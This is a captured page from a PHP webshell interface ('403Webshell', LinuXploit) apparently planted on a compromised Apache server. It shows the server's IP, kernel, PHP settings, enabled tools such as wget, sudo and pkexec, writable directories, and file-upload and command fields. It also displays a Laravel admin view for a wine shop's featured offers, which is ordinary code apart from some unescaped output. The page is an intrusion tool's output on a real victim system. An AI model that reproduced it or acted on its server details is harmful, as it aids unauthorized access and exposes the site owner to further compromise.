403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/storage/framework/views/e6842af3b6e921046f0447895c0dce41a6642634.php
<?php $__env->startSection('content'); ?>

<div class="content-wrapper">
	<!-- Content Header (Page header) -->
	<section class="content-header">
		<h1>
			Ofertas em Destaque
			<small>Listagem</small>
		</h1>
		<ol class="breadcrumb">
			<li><a href="<?php echo e(url('admin')); ?>"><i class="fa fa-dashboard"></i> Dashboard</a></li>
			<li class="active">Ofertas Em Destaque</li>
		</ol>
	</section>

	<!-- Main content -->

	<section class="content">
		<div class="row">
			<div class="col-lg-12">
				<div class="box">

					<div class="box-body">

						<div class="spacer"></div>
						<div class="col-md-9">
							<label for="ofertas">Ofertas</label>
							<select id="ofertas" class="select2 form-control">
								<?php foreach ($ofertas as $oferta): ?>
									<option value="<?php echo $oferta->id; ?>"><?php echo $oferta->titulo.' '.$oferta->sub_titulo; ?></option>
								<?php endforeach ?>
							</select>
						</div>
						<div class="col-md-3">
							<label>&nbsp;</label>
							<button class="btn btn-success btn-block adicionarOfertaDestaque"><i class="fa fa-plus"></i> Adicionar</button>
						</div>

						<div class="spacer"></div>

						<div class="col-md-12">
							<div id="ofertas-em-destaque">
								<?php echo $htmlOfertasDestaque; ?>
							</div>
						</div>
					</div>
				</div>
					<!-- /.box -->
			</div>
		</div>
	</section>
</div>

<script type="text/javascript">
	$(document).ready(function(){
		$('#ofertas').select2();

		$('.adicionarOfertaDestaque').click(function(){
			var id_oferta = $('#ofertas').val();

			$.ajax({
				url:'/admin/oferta/adicionar-oferta-destaque',
				type:'POST',
				data:{
					id_oferta:id_oferta
				},
				beforeSend:function(){
					$('.carregando').fadeIn();
				},
				success:function(data){
					if(data.status){
						$('#ofertas-em-destaque').html(data.html);
					}else{
						alertUtil.alertError(data.message);
					}
					$('.carregando').fadeOut();
				}
			});
		});

		$(document).on('click', '.removerOfertaDestaque', function(){
			var id_oferta = $(this).data('id');

			$.ajax({
				url:'/admin/oferta/remover-oferta-destaque',
				type:'POST',
				data:{
					id_oferta:id_oferta
				},
				beforeSend:function(){
					$('.carregando').fadeIn();
				},
				success:function(data){
					if(data.status){
						$('#ofertas-em-destaque').html(data.html);
					}else{
						alertUtil.alertError(data.message);
					}
					$('.carregando').fadeOut();
				}
			});
		});
	});
</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.admins.app', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit